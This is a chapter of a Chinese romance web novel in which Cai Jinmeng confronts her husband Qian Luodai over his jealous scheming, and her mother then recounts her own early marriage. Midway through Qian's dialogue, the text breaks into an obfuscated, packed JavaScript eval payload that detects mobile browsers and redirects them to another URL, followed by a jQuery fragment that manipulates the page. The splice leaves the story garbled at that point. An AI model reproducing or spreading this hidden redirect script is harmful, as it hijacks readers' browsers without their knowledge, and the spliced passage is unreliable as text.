48. 种子选手

作品:《财进门和钱落袋

    送走那三人,一转身,蔡瑾梦看着几乎贴在她后背上的赖皮糖钱洛岱,就只觉得太阳穴突突地跳。


    她今天也没喝酒啊,心跳得快只有一种可能,憋着火没发。


    抬手揉了揉嘴角,她声音里透着几分疲惫与冷硬:“我们谈谈。”


    蔡瑾佳一看这气氛如此熟悉,是他妹喷人的前奏,立马识趣地找了个借口开溜:“哎呀,我这手机怎么突然没电了,我回房间充个电先。”说完,脚底抹油快速圆润滚走。


    钱洛岱此刻心情大好,以王一王睚眦必报的小气劲,不管赵旺旺是不是主动得罪了王一王,可都有苦头吃了。


    这般想着,他也没把蔡瑾梦的严肃当大事,伸手就想去搂她,脸上挂着讨好的笑:“好的老婆,想谈什么我们回家谈?”


    “就在这里说!”蔡瑾梦炸毛跺地,眼里满是恼怒,“把你的咸猪手拿开!”


    钱洛岱动作一滞,捞了个空,悻悻地收回手,应了声:“......哦。”


    海风裹挟着咸腥味,悠悠地吹进蔡家院子,钻进蔡瑾梦的鼻腔、眼眶,连带着嘴巴都是咸涩的,舌根处泛起一层苦味。


    她直直地盯着钱洛岱,目光锐利:“你是不是当我是个傻子?”


    “......没有啊,阿梦怎么突然这么想呢?”钱洛岱脸上闪过一丝不自然,眼神下意识地闪躲。


    “看着我!”蔡瑾梦喝道。


    钱洛岱照做,但心虚。


    “你今天当着我的面,和蔡瑾佳那个大傻子一唱一和针对赵旺旺,甚至把他推到王一王面前,真以为我看不出来?”


    “......”


    “你明知道王一王是会因为点小事,就没完没了地打击报复别人的人,你不是也深受其害吗?”蔡瑾梦越说越激动,胸口剧烈起伏着,口里越来越苦。


    钱洛岱张了张嘴,沉默像一层厚重的壳,将他和蔡瑾梦分隔开。


    “你明知道赵旺旺没有显赫的家世,也没有周全的安保措施,就连你都被王一王算计得逞过好几次!”蔡瑾梦痛心疾首,语速越来越快,“我好不容易和田田老师成了朋友,王一王对你态度才刚有所好转,你就......赵旺旺到底阻着你什么了?”


    “......”


    钱洛岱依旧沉默,脖颈很重,将他头往下压着,蔡瑾梦看不清他的神色。


    “说话,他碍着你什么了!”她几乎在吼。


    钱洛岱一咬牙:“他没有阻着我什么,但他横在那里......横在我们的婚姻里......”


    蔡瑾梦几乎不敢相信自己的耳朵听到了什么,堂堂力子集团的总裁,居然是因为这种拈酸吃醋的小理由,就暗藏祸心,不惜亲手把人送到危险的人眼皮子底下。


    “是他的问题吗?你不觉得我们这样结婚,睡在一起,走到现在,太不正常了吗?”


    这次钱洛岱答得很快,几乎是下意识地反问,“那阿梦你觉不觉得,你在我们婚姻存续期,准备跟别人表白,太不正常了吗?”


    原来他都知道。


    蔡瑾梦心里一沉,是啊,从一开始,他们的关系发展就太过仓促,像一场没有根基的闹剧。


    她也是昏了头了,完全不被划分在正常范围内了。


    嘴里苦感压不下去,说出来的话都是苦的:“我没有准备现在表白。”


    至少现在没有。


    她声音弱了几分,徒劳的辩解。


    “但你一直想这么做。”钱洛岱步步紧逼,受伤与不甘击碎了他的壳子,把他整个人剥出来,毫无防备的放到了蔡瑾梦面前。


    “婚姻存续期内,我保证不会的,”蔡瑾梦梗着脖子,语气里带着匆忙披挂起来的倔强,“这点你可以相信我,我不可能让两家公司的生意因为我,出任何意外。”


    “好,好!所以你是因为蔡家湾的利益,不是因为我?”


    海风好凉啊,吹得钱洛岱眼里的光都熄灭了。


    “为什么要因为你?”蔡瑾梦反问。


    “因为我们都......都那样了!好几次!你要是对我一点感觉都没有,心里只有那个赵旺旺,为什么不拒绝我?”


    为什么......蔡瑾梦笑笑,总不能说是因为每次感觉都挺爽吧?


    又不是十八岁的纯爱战士,合法夫妻发生点亲密的事也无可厚非,总不可能自己一辈子不向赵旺旺表白,就一辈子守身如玉吧?


    可这话她羞于说出口,只能别过头,无奈地叹了口气:“你对我,不过是生理性的迷恋罢了。”


    “心理性也......有点迷恋的,”钱洛岱抬手抚上蔡瑾梦的脸,轻轻将她的脸扳正,迫使她与自己对视,“不,不是有点,是很多。阿梦,你不觉得我们做很多事都跟那个一样,配合得很默契吗?就像今晚的推理游戏。”


    “问你了么,你就答?”蔡瑾梦嫌烦他的咸猪手,抓住大拇指用力往外扳。


    “嘶......我就是,忍不住想要把心里话都告诉你。”


    好像从小到大,钱洛岱能分享心里话的人,少之又少,感情掩埋在深坑里,不见天日,见了蔡瑾梦这样热情到蓬勃的人,倾诉欲便有了宣泄口。


    身体连接过,情感就会搭出一座桥,想要到对面去走走看看。哪怕对面是悬崖,说话只会有他空荡荡的回音。


    “你说这些,很不合适知道吗?让我们保持纯纯的金钱关系不好吗,不行吗?”


    为什么要来搞我的心跳?蔡瑾梦真的很想骂。


    本来和他发生了关系之后,她就举棋不定,现在更烦了。


    “不好,不行,既然一起走了那么多路,我们为什么不继续接着走呢?”


    “因为我就不是你的同路人啊!崎路人,你懂不懂?”


    “我们是合法的同路人。金钱不是将我们捆绑在一起的枷锁,只是锦上添花的花环。”钱洛岱说这话时,从骨子里到眼睛里,都浪漫又认真。


    可惜他倾诉的对象今晚有点浪漫绝缘体:“合法也是这两年,到时候我们......”


    就在蔡瑾梦差点把“离婚”二字说出口时,一阵急呼从二楼阳台传来。


    “梦宝!”秦文豪,蔡瑾梦的神仙母亲,隐靠在阳台的廊柱旁边:“吃不吃榴莲,刚开的,很甜。”


    秦文豪的视力在夜色中仍然很好,眼神犀利得像把刀,要把这剑拔弩张的焦灼氛围割开,拉走还未受伤的女儿。


    “......吃。”


    “快来,老蔡和你哥的牙齿可不等你。”她笑眯眯的站在那里,风鼓着她的真丝袍子,像是蔡瑾梦最有力的骑士。


    秦文豪认为,每一个母亲,在隐隐听到几句女儿女婿的拌嘴后,都应该先把女儿放回妥当安全的位置,让他们冷静冷静,再往下接着谈。


    “梦宝,想不想跟妈妈聊聊?”秦文豪径直走到蔡瑾梦身边,“如果不想聊,妈妈也相信你是大个崽了,能自己解决好。”她还伸手轻轻捏了捏蔡瑾梦的肩膀,像是想要确认小女儿有没有穿上足够坚硬的盔甲,去应对这一切。


    蔡瑾梦忙着吃榴莲,一块两块三四块,吃到嘴里,老蔡、她哥看不见。


    “我不想聊,但可能他想跟你聊聊吧。”蔡瑾梦一努嘴,把钱洛岱丢给秦文豪去解决。


    秦文豪狗血剧情写得多,纸上谈兵也是战。


    钱洛岱化身委屈小新抱:“妈,就是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161049|161164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我和阿梦之间,可能出现了点小误会,你别太担心,我会好好跟她说的。”他不着痕迹地往蔡瑾梦身边凑了凑,扯了餐巾纸递到她手上,“慢点吃,不够我可以叫白叔现买。”


    “小误会?”秦文豪把蔡瑾梦往她身后拉了拉,像只护崽的母兽。


    蔡瑾梦站不稳,榴莲撞到秦文豪身上,啪嗒掉了地。


    “我的.....”榴莲二字含在嘴里,蔡瑾梦马上转了音,“我的妈妈,你衣服没事吧?”


    “没事,染色了也没事,老蔡给我买了七色,一天一套。”


    豪横,蔡瑾梦狠狠羡慕老两口的金钱观,不光只是羡慕这个,更羡慕他们人到中年依然大胆秀恩爱。


    “不是小误会,是我愚笨,没照顾好阿梦的情绪。”钱洛岱作为另一只黏黏兽,现在蔫蔫的。


    蔡瑾梦站在母亲身后,看着钱洛岱再次递过来的餐巾纸:“帮妈妈擦擦吧”,她心里五味杂陈。


    海风吹得院子里的树叶沙沙作响,她突然觉得,这场婚姻就像树上的叶子,看似紧密相连,实则一阵阵外风刮过,摇摇欲坠。


    蔡瑾梦拿着餐巾纸盒,看着他湿漉漉的眼,很难说心里不动摇。


    但秦文豪听着钱洛岱把错都一味揽上身的道歉,脸色并未缓和,稍作思考后,拉住女儿的手:“你看你,越擦越花,罚你今晚帮我手洗真丝衣服!”


    说完又看向钱洛岱,语气比之对女儿说话,客气却透着不容拒绝的强硬:“洛岱,你先回家吧。真丝料子手洗要精细,阿梦今晚要洗到很晚的。”


    钱洛岱只得无奈离开。


    蔡瑾梦未婚前住的屋内。


    暖黄色的灯光柔和地洒下,可一点没洒进蔡瑾梦的内心里。


    “梦宝是不是心里一直觉得很委屈,对这桩婚姻有怨言?”


    蔡瑾梦抬起头看着秦文豪:“没有。”


    知女莫如母,蔡瑾梦的眼神没有骗秦文豪,她是真的没有觉得委屈。路是她选的,总裁是她要当的,如果她不想,谁都逼不了她。


    甚至现在,她依然庆幸选择了这段婚姻。


    钱洛岱,感情上的青铜,生意上的王者,她真的在公司合作共赢中,学到了很多。


    是蔡家湾再往上走五年,也不可能教会她的,大集团才能涵盖的知识点。


    秦文豪轻轻叹了口气,目光变得有些悠远:“你知道吗?当年我和你爸刚结婚的时候,也老是吵架。那个时候,我还好年轻,怀揣着文学梦,想要到更远的地方去看看。”


    “谁知道很快就有了你哥哥,一开始,我非常不情愿奶你哥哥,婚姻给我带来了什么,根本就不幸福嘛!只有熬不完的夜,还不是因为写文,我好疲惫好想离婚。”


    蔡瑾梦惊讶地看着秦文豪,她从未听大女主文学爱好者提起过这些:“那后来呢?”


    “后来啊,”秦文豪嘴角上扬,露出灿烂的笑,“你爸爸就晚上冲奶粉奶你哥哥,白天跟着你奶奶东奔西跑跑生意,很快就累病了。”


    “啊?可我看老蔡他现在身强力壮,中气十足,一开口能骂十个老头呢?”


    年轻老蔡这么脆弱的吗?不敢信。原来他现在的海钓熬夜能手,是当年就打下了基础的。


    “他吃完药昏昏沉沉,还知道拉着我的手,叫我陪着保姆忍一忍,他很快就能起来带你哥的,千万别离婚,他不想失去我。”


    “那个时候我就在想,最好的爱不是在我笔下,已经在我身上了。”秦文豪握紧女儿的手,语重心长:“婚姻不像恋爱,它不要那么多冲动。你和洛岱之间,或许一开始没有爱情,但我看他,已经隐隐约约有点想当老蔡那一挂的种子选手,你别轻易放弃啊。”